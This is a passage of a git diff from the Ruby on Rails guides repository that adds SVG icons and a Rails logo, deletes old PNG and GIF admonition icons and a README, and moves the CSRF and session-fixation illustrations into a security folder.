+<svg fill="none" height="60" viewBox="0 0 60 60" width="60" xmlns="http://www.w3.org/2000/svg"><rect fill="#c81418" height="60" rx="10" width="60"/><g fill="#fff"><path clip-rule="evenodd" d="m50.1525 24.0866c-3.9042-6.1074-10.0793-10.0507-17.029-10.0507-10.6287 0-19.4457 9.2233-21.0982 21.3056h15.368c.4248-8.3117 6.2175-14.8962 13.301-14.8962 3.5025 0 6.6895 1.6098 9.0679 4.2423z" fill-rule="evenodd"/><path clip-rule="evenodd" d="m43.8337 21.6004c-.5319-.1586-1.077-.2774-1.633-.3535l-.0365 1.0453c.557.0485 1.1031.1442 1.6354.2837zm-14.0129 13.0792c.0462-.5669.1211-1.1239.2231-1.6686l-1.6331-.5944c-.1198.5375-.2155 1.0867-.2856 1.6459zm-.1131-5.9822 1.3303 1.0394c.2242-.52.4754-1.0208.7512-1.4998l-1.2728-.9944c-.2921.465-.5623.9507-.8087 1.4548zm2.9106-4.0815.8672 1.2857c.3785-.4165.7804-.8032 1.2031-1.1569l-.8192-1.2146c-.4359.3321-.8536.6949-1.2511 1.0858zm4.1931-2.7388.3687 1.2858c.5006-.2289 1.018-.4174 1.5494-.5622l-.3436-1.1981c-.5374.1189-1.0631.278-1.5745.4745z" fill-rule="evenodd"/><path clip-rule="evenodd" d="m44.0404 15.6794c-.5238-.3639-1.0607-.704-1.6097-1.0192l-.0385 1.1008c.5497.3038 1.087.6337 1.6108.9885zm-30.9267 12.9192c.1985-.5153.4108-1.0216.6361-1.5183l-1.7857-.65c-.2251.497-.4377 1.0032-.6373 1.5179zm3.9407-9.7871 1.4476 1.131c.3819-.404.7757-.7923 1.1808-1.1642l-1.4441-1.1283c-.4056.3718-.8006.7592-1.1843 1.1615zm7.9648-5.4618.9447 1.4006c.5238-.214 1.0565-.4052 1.5972-.5726l-.9372-1.3895c-.5428.1647-1.0779.3522-1.6047.5615zm8.96-1.3497.3947 1.3767c.5963.0397 1.1861.1076 1.7687.2026l-.3879-1.3529c-.585-.1018-1.1772-.1776-1.7755-.2264z" fill-rule="evenodd"/><path d="m14.5601 47.088h-1.33v-1.68h3.556v.854c0 2.38-1.568 3.878-3.85 3.878-2.492 0-4.25603-1.82-4.25603-4.438s1.76403-4.438 4.22803-4.438c2.212 0 3.486 1.274 3.808 3.024h-2.296c-.238-.658-.7-1.05-1.512-1.05-1.246 0-1.96 1.036-1.96 2.464 0 1.47.756 2.464 1.988 2.464.854 0 1.414-.42 1.624-1.078zm6.8326 3.052c-2.268 0-3.752-1.288-3.752-3.654v-5.082h2.24v4.886c0 1.218.574 1.848 1.512 1.848.924 0 1.498-.63 1.498-1.848v-4.886h2.24v5.096c0 2.352-1.47 3.64-3.738 3.64zm7.186-8.736v8.596h-2.254v-8.596zm3.499 6.65h.924c1.428 0 2.226-.91 2.226-2.352 0-1.456-.798-2.366-2.226-2.366h-.924zm-2.212 1.946v-8.596h3.248c2.702 0 4.34 1.68 4.34 4.298s-1.638 4.298-4.34 4.298zm8.5312-8.596h6.146v1.932h-3.934v1.344h3.598v1.89h-3.598v1.484h3.934v1.946h-6.146zm6.7838 6.048h2.338c.182.588.686.882 1.386.882.686 0 1.162-.294 1.162-.826 0-.406-.266-.588-.812-.714l-1.652-.35c-1.26-.28-2.212-.938-2.212-2.394 0-1.68 1.4-2.786 3.304-2.786 2.1 0 3.29 1.148 3.528 2.632h-2.198c-.182-.476-.574-.84-1.316-.84-.644 0-1.078.28-1.078.756 0 .378.266.588.714.686l1.68.392c1.47.35 2.282 1.148 2.282 2.478 0 1.764-1.484 2.772-3.36 2.772-2.058 0-3.458-.994-3.766-2.688z"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_book-close-bookmark-1-wht.svg b/guides/assets/images/icon_book-close-bookmark-1-wht.svg
new file mode 100644
index 0000000000000..c4876d29d78d7
--- /dev/null
+++ b/guides/assets/images/icon_book-close-bookmark-1-wht.svg
@@ -0,0 +1 @@
+<svg height="34" viewBox="0 0 28 34" width="28" xmlns="http://www.w3.org/2000/svg"><g style="fill:none;fill-rule:evenodd;stroke:#e5e5e5;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.71" transform="translate(1.141 .927)"><path d="m25.71745 32.14683h-22.50276c-.85259 0-1.67026-.3387-2.27313-.9415-.60287-.6029-.94156-1.4206-.94156-2.2732"/><path d="m12.85875 2.14313h-8.5725c-1.13678 0-2.22701.45159-3.03084 1.25542-.80382.80382-1.25541 1.89405-1.25541 3.03083v22.50285c0-.8526.33869-1.6703.94156-2.2732.60287-.6028 1.42054-.9415 2.27313-.9415h21.43126c.2842 0 .5567-.1129.7577-.3139.201-.2009.3138-.4735.3138-.7577v-21.43124c0-.28419-.1128-.55675-.3138-.7577-.201-.20096-.4735-.31386-.7577-.31386h-3.2147"/><path d="m23.574 32.147v-6.429"/><path d="m21.43125 17.14503-4.2863-4.2863-4.2862 4.2863v-15.0019c0-.56839.2258-1.1135.6277-1.51542.4019-.40191.947-.62771 1.5154-.62771h4.2863c.2814 0 .5601.05544.8201.16314s.4963.26556.6953.46457.3569.43527.4646.69528c.1077.26002.1631.5387.1631.82014z"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_book-close-bookmark-1.svg b/guides/assets/images/icon_book-close-bookmark-1.svg
new file mode 100644
index 0000000000000..ccf4dad245409
--- /dev/null
+++ b/guides/assets/images/icon_book-close-bookmark-1.svg
@@ -0,0 +1 @@
+<svg fill="none" height="36" viewBox="0 0 36 36" width="36" xmlns="http://www.w3.org/2000/svg"><g stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.71"><path d="m30.8587 34.0734h-22.50276c-.85259 0-1.67026-.3387-2.27313-.9415-.60287-.6029-.94156-1.4206-.94156-2.2732"/><path d="m18 4.0697h-8.5725c-1.13678 0-2.22701.45159-3.03084 1.25542-.80382.80382-1.25541 1.89405-1.25541 3.03083v22.50285c0-.8526.33869-1.6703.94156-2.2732.60287-.6028 1.42054-.9415 2.27313-.9415h21.43126c.2842 0 .5567-.1129.7577-.3139.201-.2009.3138-.4735.3138-.7577v-21.43124c0-.28419-.1128-.55675-.3138-.7577-.201-.20096-.4735-.31386-.7577-.31386h-3.2147"/><path d="m28.7156 34.0734v-6.4293"/><path d="m26.5725 19.0716-4.2863-4.2863-4.2862 4.2863v-15.0019c0-.56839.2258-1.1135.6277-1.51542.4019-.40191.947-.62771 1.5154-.62771h4.2863c.2814 0 .5601.05544.8201.16314s.4963.26556.6953.46457.3569.43527.4646.69528c.1077.26002.1631.5387.1631.82014z"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_bulb-1.svg b/guides/assets/images/icon_bulb-1.svg
new file mode 100644
index 0000000000000..b5ec08a92af7c
--- /dev/null
+++ b/guides/assets/images/icon_bulb-1.svg
@@ -0,0 +1 @@
+<svg fill="none" height="36" viewBox="0 0 36 36" width="36" xmlns="http://www.w3.org/2000/svg"><g stroke="#00b9c4" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.71"><path d="m22.2862 25.5009v6.4294c0 .5684-.2257 1.1135-.6277 1.5154-.4019.402-.947.6277-1.5154.6277h-4.2862c-.5684 0-1.1135-.2257-1.5154-.6277-.402-.4019-.6278-.947-.6278-1.5154v-6.4294"/><path d="m13.7137 29.7872h8.5725"/><path d="m18 1.92656v2.14312"/><path d="m2.99817 16.9284h2.14312"/><path d="m6.21289 6.21281 1.57163 1.51448"/><path d="m33.0019 16.9284h-2.1431"/><path d="m29.7872 6.21281-1.5716 1.51448"/><path d="m13.7137 16.2141c.5684 0 1.1135.2258 1.5155.6277.4019.4019.6277.947.6277 1.5154v7.1437"/><path d="m20.1432 25.5009v-7.1437c0-.2814.0554-.5601.1631-.8201.1077-.2601.2656-.4963.4646-.6953s.4353-.3569.6953-.4646.5387-.1631.8201-.1631"/><path d="m13.5995 25.5009h8.8011c1.5933-.7892 2.9311-2.0127 3.8588-3.5295.9278-1.5169 1.4078-3.2651 1.3847-5.043-.044-2.544-1.0742-4.9714-2.8734-6.7706-1.7991-1.79915-4.2266-2.82936-6.7706-2.87342-2.544.04406-4.9715 1.07427-6.7707 2.87342-1.7991 1.7992-2.82932 4.2266-2.87338 6.7706-.0231 1.7779.45693 3.5261 1.38471 5.043.92777 1.5168 2.26547 2.7403 3.85877 3.5295z"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_construction-sign.svg b/guides/assets/images/icon_construction-sign.svg
new file mode 100644
index 0000000000000..b07315bb67808
--- /dev/null
+++ b/guides/assets/images/icon_construction-sign.svg
@@ -0,0 +1 @@
+<svg height="34" viewBox="0 0 34 34" width="34" xmlns="http://www.w3.org/2000/svg"><g style="fill:none;fill-rule:evenodd;stroke:#c4a500;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.71" transform="translate(.927 .927)"><path d="m1.42875 6.42937h29.28938s1.4287 0 1.4287 1.42875v12.14442s0 1.4287-1.4287 1.4287h-29.28938s-1.42875 0-1.42875-1.4287v-12.14442s0-1.42875 1.42875-1.42875z"/><path d="m4.286 21.431v10.716"/><path d="m27.861 21.431v10.716"/><path d="m5.35779 2.14312c0 .28144.05544.56013.16314.82014.1077.26002.26556.49628.46457.69528.19901.19901.43526.35687.69528.46457.26002.10771.5387.16314.82014.16314s.56012-.05543.82011-.16314c.26-.1077.4963-.26556.6953-.46457.199-.199.3569-.43526.4646-.69528.1077-.26001.1631-.5387.1631-.82014 0-.56839-.2258-1.1135-.6277-1.51541-.4019-.40192-.94702-.62771-1.51541-.62771s-1.11351.22579-1.51542.62771c-.40191.40191-.62771.94702-.62771 1.51541zm17.14504 0c0 .5684.2258 1.11351.6277 1.51542.4019.40192.947.62771 1.5154.62771s1.1135-.22579 1.5154-.62771c.4019-.40191.6277-.94702.6277-1.51542 0-.56839-.2258-1.1135-.6277-1.51541-.4019-.40192-.947-.62771-1.5154-.62771s-1.1135.22579-1.5154.62771c-.4019.40191-.6277.94702-.6277 1.51541z"/><path d="m10.716 6.429-10.716 10.716"/><path d="m19.288 6.429-15.002 15.002"/><path d="m27.861 6.429-15.002 15.002"/><path d="m32.147 10.716-10.716 10.715"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_hand-stop.svg b/guides/assets/images/icon_hand-stop.svg
new file mode 100644
index 0000000000000..fb3952aebb250
--- /dev/null
+++ b/guides/assets/images/icon_hand-stop.svg
@@ -0,0 +1 @@
+<svg fill="none" height="36" viewBox="0 0 36 36" width="36" xmlns="http://www.w3.org/2000/svg"><g stroke="#c81418" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="1.71"><path d="m16.8591 15.4997v-11.00139c0-1.42875 1.143-2.57174 2.5718-2.57174 1.4287 0 2.5717 1.14299 2.5717 2.57174v11.00139"/><path d="m16.8591 15.4997v-9.42972c0-1.42875-1.143-2.57175-2.5717-2.57175s-2.5718 1.143-2.5718 2.57175v15.85902l-4.00046-2.286c-1.143-.4286-2.57175-.1428-3.429.8573s-.71436 2.5717.14289 3.5719l5.42924 6.1436c2.14313 2.4289 5.28633 3.8576 8.57243 3.8576h5.2864c4.7149 0 8.5725-3.8576 8.5725-8.5725v-16.14484c0-1.42875-1.143-2.57173-2.5717-2.57173-1.4288 0-2.5718 1.14298-2.5718 2.57173v6.14364"/><path d="m27.1462 15.4997v-9.42972c0-1.42875-1.143-2.57175-2.5718-2.57175-1.4287 0-2.5717 1.143-2.5717 2.57175v9.42972"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_house-chimney-wht.svg b/guides/assets/images/icon_house-chimney-wht.svg
new file mode 100644
index 0000000000000..a876d5e2319a9
--- /dev/null
+++ b/guides/assets/images/icon_house-chimney-wht.svg
@@ -0,0 +1 @@
+<svg height="22" viewBox="0 0 24 22" width="24" xmlns="http://www.w3.org/2000/svg"><g style="fill:none;fill-rule:evenodd;stroke:#fff;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.14" transform="translate(1.284 1.291)"><path d="m2.85752 11.55661v7.8581h5.715v-5.715c0-.3789.15052-.7423.41842-1.0103.268-.2679.6314-.4184 1.0103-.4184h1.4288c.3789 0 .7423.1505 1.0103.4184.2679.268.4184.6314.4184 1.0103v5.715h5.715v-7.8581m-18.57374-1.4288 9.70594-9.70598c.132-.13363.2893-.23972.4626-.31213s.3593-.1097.5471-.1097.3738.03729.5471.1097.3305.1785.4625.31213l9.706 9.70598"/><path d="m15.002 3.698v-2.781h3.572v6.353"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_house-chimney.svg b/guides/assets/images/icon_house-chimney.svg
new file mode 100644
index 0000000000000..fbc8fc783563e
--- /dev/null
+++ b/guides/assets/images/icon_house-chimney.svg
@@ -0,0 +1 @@
+<svg fill="none" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><g stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.14"><path d="m4.14188 13.8479v7.8581h5.715v-5.715c0-.3789.15052-.7423.41842-1.0103.268-.2679.6314-.4184 1.0103-.4184h1.4288c.3789 0 .7423.1505 1.0103.4184.2679.268.4184.6314.4184 1.0103v5.715h5.715v-7.8581"/><path d="m1.28436 12.4191 9.70594-9.70598c.132-.13363.2893-.23972.4626-.31213s.3593-.1097.5471-.1097.3738.03729.5471.1097.3305.1785.4625.31213l9.706 9.70598"/><path d="m16.2863 5.98973v-2.78129h3.5718v6.35317"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_question-bubble.svg b/guides/assets/images/icon_question-bubble.svg
new file mode 100644
index 0000000000000..41b7fa6f003ba
--- /dev/null
+++ b/guides/assets/images/icon_question-bubble.svg
@@ -0,0 +1 @@
+<svg fill="none" height="36" viewBox="0 0 36 36" width="36" xmlns="http://www.w3.org/2000/svg"><g stroke="#666" stroke-width="1.71"><path d="m31.9303 27.6441h-15.0019l-8.57251 6.4293v-6.4293h-4.28625c-.56839 0-1.11351-.2258-1.51542-.6277s-.62771-.9471-.62771-1.5155v-21.43122c0-.56838.2258-1.11351.62771-1.51541.40191-.40192.94703-.62771 1.51542-.62771h27.86066c.5683 0 1.1135.22579 1.5154.62771.4019.4019.6277.94703.6277 1.51541v21.43122c0 .5684-.2258 1.1136-.6277 1.5155s-.9471.6277-1.5154.6277z" stroke-linecap="round" stroke-linejoin="round"/><path d="m13.7137 10.4991c.0002-.78575.2163-1.55636.6249-2.22759.4085-.67123.9936-1.21724 1.6916-1.57837.6978-.36112 1.4816-.52345 2.2654-.46924.784.05419 1.5379.32284 2.1794.77656.6415.45373 1.146 1.07508 1.4582 1.79614.3123.72106.4203 1.5141.3123 2.2924s-.4277 1.512-.9245 2.1208-1.1514 1.0693-1.8923 1.3312c-.418.1478-.7799.4216-1.0358.7837-.2559.3622-.3932.7946-.3929 1.238v.3657" stroke-linecap="round" stroke-linejoin="round"/><path d="m18 22.2863c-.2959 0-.5358-.2399-.5358-.5358s.2399-.5358.5358-.5358"/><path d="m18 22.2863c.2959 0 .5358-.2399.5358-.5358s-.2399-.5358-.5358-.5358"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icon_task-list-pin.svg b/guides/assets/images/icon_task-list-pin.svg
new file mode 100644
index 0000000000000..c07a1b085cb91
--- /dev/null
+++ b/guides/assets/images/icon_task-list-pin.svg
@@ -0,0 +1 @@
+<svg fill="none" height="36" viewBox="0 0 36 36" width="36" xmlns="http://www.w3.org/2000/svg"><g stroke="#c4a500" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.71"><path d="m23.3578 10.5148h5.3578c.5684 0 1.1135.2258 1.5154.6277s.6277.947.6277 1.5154v14.1146c-.0001.568-.2257 1.1127-.6272 1.5145l-5.1749 5.1749c-.4018.4015-.9465.6271-1.5145.6273h-16.25774c-.56839 0-1.1135-.2258-1.51542-.6278-.40191-.4019-.6277-.947-.6277-1.5154v-19.2881c0-.5684.22579-1.1135.6277-1.5154.40192-.4019.94703-.6277 1.51542-.6277h5.35784"/><path d="m22.2863 34.0892v-6.4294c0-.2815.0554-.5601.1631-.8202.1077-.26.2656-.4962.4646-.6952s.4352-.3569.6952-.4646c.2601-.1077.5387-.1631.8202-.1631h6.4294"/><path d="m14.7853 5.15697c0 .85258.3387 1.67025.9415 2.27312.6029.60287 1.4206.94156 2.2732.94156s1.6702-.33869 2.2731-.94156.9416-1.42054.9416-2.27312c0-.85259-.3387-1.67026-.9416-2.27313s-1.4205-.94156-2.2731-.94156-1.6703.33869-2.2732.94156c-.6028.60287-.9415 1.42054-.9415 2.27313z"/><path d="m18 15.8726v-7.50095"/><path d="m10.499 21.2304h15.0019"/><path d="m10.499 27.6598h6.4294"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
deleted file mode 100644
index 09da77fc860c7..0000000000000
--- a/guides/assets/images/icons/README
+++ /dev/null
@@ -1,5 +0,0 @@
-Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
-icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
-from the Jimmac icons to get round MS IE and FOP PNG incompatibilities.
-
-Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
deleted file mode 100644
index c5d02adcf436c..0000000000000
Binary files a/guides/assets/images/icons/callouts/1.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/10.png b/guides/assets/images/icons/callouts/10.png
deleted file mode 100644
index fe89f9ef833f1..0000000000000
Binary files a/guides/assets/images/icons/callouts/10.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
deleted file mode 100644
index 3b7b9318e7076..0000000000000
Binary files a/guides/assets/images/icons/callouts/11.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
deleted file mode 100644
index 7b95925e9d093..0000000000000
Binary files a/guides/assets/images/icons/callouts/12.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
deleted file mode 100644
index 4b99fe8efc36b..0000000000000
Binary files a/guides/assets/images/icons/callouts/13.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/14.png b/guides/assets/images/icons/callouts/14.png
deleted file mode 100644
index 4274e6580af70..0000000000000
Binary files a/guides/assets/images/icons/callouts/14.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
deleted file mode 100644
index 70e4bba61532b..0000000000000
Binary files a/guides/assets/images/icons/callouts/15.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/2.png b/guides/assets/images/icons/callouts/2.png
deleted file mode 100644
index 8c57970ba9be4..0000000000000
Binary files a/guides/assets/images/icons/callouts/2.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/3.png b/guides/assets/images/icons/callouts/3.png
deleted file mode 100644
index 57a33d15b4405..0000000000000
Binary files a/guides/assets/images/icons/callouts/3.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/4.png b/guides/assets/images/icons/callouts/4.png
deleted file mode 100644
index f061ab02b84be..0000000000000
Binary files a/guides/assets/images/icons/callouts/4.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/5.png b/guides/assets/images/icons/callouts/5.png
deleted file mode 100644
index b4de02da1127c..0000000000000
Binary files a/guides/assets/images/icons/callouts/5.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/6.png b/guides/assets/images/icons/callouts/6.png
deleted file mode 100644
index 0e055eec1e3e6..0000000000000
Binary files a/guides/assets/images/icons/callouts/6.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/7.png b/guides/assets/images/icons/callouts/7.png
deleted file mode 100644
index 5ead87d040bf6..0000000000000
Binary files a/guides/assets/images/icons/callouts/7.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/8.png b/guides/assets/images/icons/callouts/8.png
deleted file mode 100644
index cb99545eb652c..0000000000000
Binary files a/guides/assets/images/icons/callouts/8.png and /dev/null differ
diff --git a/guides/assets/images/icons/callouts/9.png b/guides/assets/images/icons/callouts/9.png
deleted file mode 100644
index 0ac03602f6a59..0000000000000
Binary files a/guides/assets/images/icons/callouts/9.png and /dev/null differ
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
deleted file mode 100644
index 7227b54b325a4..0000000000000
Binary files a/guides/assets/images/icons/caution.png and /dev/null differ
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
deleted file mode 100644
index de23c0aa87154..0000000000000
Binary files a/guides/assets/images/icons/example.png and /dev/null differ
diff --git a/guides/assets/images/icons/home.png b/guides/assets/images/icons/home.png
deleted file mode 100644
index 24149d6e78efa..0000000000000
Binary files a/guides/assets/images/icons/home.png and /dev/null differ
diff --git a/guides/assets/images/icons/important.png b/guides/assets/images/icons/important.png
deleted file mode 100644
index dafcf0f59e4f3..0000000000000
Binary files a/guides/assets/images/icons/important.png and /dev/null differ
diff --git a/guides/assets/images/icons/next.png b/guides/assets/images/icons/next.png
deleted file mode 100644
index 355b329f5a110..0000000000000
Binary files a/guides/assets/images/icons/next.png and /dev/null differ
diff --git a/guides/assets/images/icons/note.png b/guides/assets/images/icons/note.png
deleted file mode 100644
index 08d35a6f5c3ea..0000000000000
Binary files a/guides/assets/images/icons/note.png and /dev/null differ
diff --git a/guides/assets/images/icons/prev.png b/guides/assets/images/icons/prev.png
deleted file mode 100644
index ea564c865ead8..0000000000000
Binary files a/guides/assets/images/icons/prev.png and /dev/null differ
diff --git a/guides/assets/images/icons/tip.png b/guides/assets/images/icons/tip.png
deleted file mode 100644
index d834e6d1bb54b..0000000000000
Binary files a/guides/assets/images/icons/tip.png and /dev/null differ
diff --git a/guides/assets/images/icons/up.png b/guides/assets/images/icons/up.png
deleted file mode 100644
index 379f0045affbb..0000000000000
Binary files a/guides/assets/images/icons/up.png and /dev/null differ
diff --git a/guides/assets/images/icons/warning.png b/guides/assets/images/icons/warning.png
deleted file mode 100644
index 72a8a5d873be7..0000000000000
Binary files a/guides/assets/images/icons/warning.png and /dev/null differ
diff --git a/guides/assets/images/logo_rails-circle.svg b/guides/assets/images/logo_rails-circle.svg
new file mode 100644
index 0000000000000..a7a8418e0f685
--- /dev/null
+++ b/guides/assets/images/logo_rails-circle.svg
@@ -0,0 +1 @@
+<svg fill="none" height="75" viewBox="0 0 75 75" width="75" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m7.36609 24.1071h60.2678v21.4286h-60.2678z"/></clipPath><circle cx="37.5" cy="37.5" fill="#c81418" r="37.5"/><g clip-path="url(#a)"><path d="m67.0194 34.8211v2.7546h-4.8886v1.2713h2.467c1.3209 0 2.7271.982 2.8112 2.6562l.0039.159v1.0594c-.0588 2.0143-1.703 2.7717-2.7265 2.8133l-.0886.0018h-4.9492v-2.7394l5.0097-.0152v-1.3318l-.7969.0005-.2323.0005-.0566.0002-.0855.0005-.03.0003-.0373.0005-.011.0006c.0003.0002.0089.0005.023.0008l.0349.0005c.0205.0003.0448.0006.0705.0008l.0523.0004-.104-.0003c-.2105-.001-.5709-.0027-1.1579-.0053-1.1887 0-2.7333-.8966-2.8259-2.6484l-.0043-.1668v-.9535c0-1.8068 1.5256-2.801 2.7224-2.8579l.1078-.0026zm-12.5167 0v7.9459h4.1319v2.7697h-7.1892v-10.7156zm-4.3135 0v10.7156h-3.0724v-10.7156zm-7.2345 0c.7083 0 2.7115.4892 2.8112 2.6459l.0039.1692v7.9005h-2.8605v-1.8919h-2.7697v1.8919h-2.9514v-7.9005c0-.8828.6724-2.7099 2.6431-2.8107l.1721-.0044zm-16.17-.0018 5.7457.0004c.1201.0131 3.183.3818 3.183 3.7124 0 3.3305-2.5283 3.6125-2.6275 3.6223l-.003.0002 3.352 3.3821h-4.2689l-2.4953-2.5854v2.5854h-2.886zm15.0125-1.8062.0224.0221s-.2573.1816-.5298.4086c-8.5967-6.3567-13.8485-3.3599-15.4983-2.5578-7.4918 4.1805-5.3268 14.4428-5.2827 14.6476l.0006.0031h-11.95666s.45404-4.4799 3.63236-9.7772c3.1784-5.2973 8.5968-9.3081 13.0011-9.7016 8.4921-.8507 16.1457 6.4998 16.611 6.9552zm-20.8337 9.4966 1.6346.5903c.0756.5928.1828 1.154.2953 1.6662l.0679.3013-1.8162-.6508c-.0757-.454-.1514-1.1048-.1816-1.907zm21.0982-5.1308h-1.014c-.7554 0-.8927.3952-.9177.5389l-.0049.0377-.0006.0102-.0001 2.6219h2.7697l-.0002-2.6227c-.0033-.0532-.0558-.586-.8322-.586zm-33.81167.2271 1.74054.6356c-.21189.49-.48172 1.1191-.67767 1.6134l-.07909.2028-1.74052-.6356c.15135-.4087.46917-1.1654.75674-1.8162zm23.73557-.0961h-2.3149v2.4501h2.2999s.6614-.2555.6614-1.2325c0-.9771-.6464-1.2176-.6464-1.2176zm-10.341-.5093 1.0897.8627c-.1211.4722-.2131.9444-.2761 1.4166l-.0418.3542-1.2259-.9687c.1211-.5448.2573-1.1048.4541-1.6648zm2.6789-4.2227.681 1.0292c-.2664.2785-.5134.5569-.7332.8509l-.1597.2237-.7265-1.0898c.2724-.3481.5902-.6962.9384-1.014zm-10.8367-2.24 1.0745.9384c-.2724.2838-.5363.5846-.7853.8896l-.2438.306-1.1654-.9989c.3481-.3783.7264-.7567 1.12-1.1351zm14.9988-.0605.333.9989c-.3512.1089-.7023.247-1.0534.4063l-.2634.1234-.3481-1.0443c.3784-.1665.8173-.333 1.3319-.4843zm3.5416-.3633c.3874.0242.7846.0678 1.1914.1385l.307.0583-.0606.9383c-.3996-.0847-.7991-.1404-1.1987-.167l-.2996-.0146zm-12.4259-4.1773.6811 1.0444c-.2951.1475-.5818.3121-.8726.4874l-.2928.1785-.6962-1.0594c.4086-.2422.8021-.4541 1.1805-.6509zm12.4562-.5751c.9005.2573 1.288.4336 1.4431.5162l.025.0135-.0606 1.0141c-.3229-.1312-.6457-.2556-.9731-.3733l-.495-.1716zm-5.7816-.8929.3027.9232h-.1514c-.3292 0-.6584.0085-.9875.0319l-.3292.0286-.2876-.8929c.4995-.0606.9838-.0908 1.453-.0908z" fill="#fff"/></g></svg>
\ No newline at end of file
diff --git a/guides/assets/images/nav_arrow.gif b/guides/assets/images/nav_arrow.gif
deleted file mode 100644
index ff081819ad0db..0000000000000
Binary files a/guides/assets/images/nav_arrow.gif and /dev/null differ
diff --git a/guides/assets/images/note_icon.svg b/guides/assets/images/note_icon.svg
new file mode 100644
index 0000000000000..4f39556fffd44
--- /dev/null
+++ b/guides/assets/images/note_icon.svg
@@ -0,0 +1 @@
+<svg fill="none" stroke="#fff9d8" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m15.232 5.232 3.536 3.536m-2.036-5.036a2.5 2.5 0 1 1 3.536 3.536l-13.768 13.768h-3.5v-3.572z" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/></svg>
\ No newline at end of file
diff --git a/guides/assets/images/oscardelben.jpg b/guides/assets/images/oscardelben.jpg
deleted file mode 100644
index 9f3f67c2c753d..0000000000000
Binary files a/guides/assets/images/oscardelben.jpg and /dev/null differ
diff --git a/guides/assets/images/polymorphic.png b/guides/assets/images/polymorphic.png
deleted file mode 100644
index a3cbc4502ad72..0000000000000
Binary files a/guides/assets/images/polymorphic.png and /dev/null differ
diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png
deleted file mode 100644
index 421b62b623761..0000000000000
Binary files a/guides/assets/images/radar.png and /dev/null differ
diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png
deleted file mode 100644
index b3bd5ef69eba2..0000000000000
Binary files a/guides/assets/images/rails4_features.png and /dev/null differ
diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg
index f068bd9a040a2..63cce1f4cd347 100644
Binary files a/guides/assets/images/rails_guides_kindle_cover.jpg and b/guides/assets/images/rails_guides_kindle_cover.jpg differ
diff --git a/guides/assets/images/rails_guides_logo.gif b/guides/assets/images/rails_guides_logo.gif
deleted file mode 100644
index f7149a0415afa..0000000000000
Binary files a/guides/assets/images/rails_guides_logo.gif and /dev/null differ
diff --git a/guides/assets/images/rails_logo_remix.gif b/guides/assets/images/rails_logo_remix.gif
deleted file mode 100644
index 58960ee4f9b9e..0000000000000
Binary files a/guides/assets/images/rails_logo_remix.gif and /dev/null differ
diff --git a/guides/assets/images/csrf.png b/guides/assets/images/security/csrf.png
similarity index 100%
rename from guides/assets/images/csrf.png
rename to guides/assets/images/security/csrf.png
diff --git a/guides/assets/images/security/session_fixation.png b/guides/assets/images/security/session_fixation.png
new file mode 100644
index 0000000000000..3b81751b6c581
Binary files /dev/null and b/guides/assets/images/security/session_fixation.png differ
diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
deleted file mode 100644
index ac3ab01614354..0000000000000
Binary files a/guides/assets/images/session_fixation.png and /dev/null differ
diff --git a/guides/assets/images/tab_grey.gif b/guides/assets/images/tab_grey.gif
deleted file mode 100644
index 995adb76cfc2a..0000000000000
Binary files a/guides/assets/images/tab_grey.gif and /dev/null differ
diff --git a/guides/assets/images/tab_info.gif b/guides/assets/images/tab_info.gif
deleted file mode 100644
index e9dd164f182c9..0000000000000
Binary files a/guides/assets/images/tab_info.gif and /dev/null differ
diff --git a/guides/assets/images/tab_note.gif b/guides/assets/images/tab_note.gif
deleted file mode 100644
index f9b546c6f8432..0000000000000
Binary files a/guides/assets/images/tab_note.gif and /dev/null differ
diff --git a/guides/assets/images/tab_red.gif b/guides/assets/images/tab_red.gif
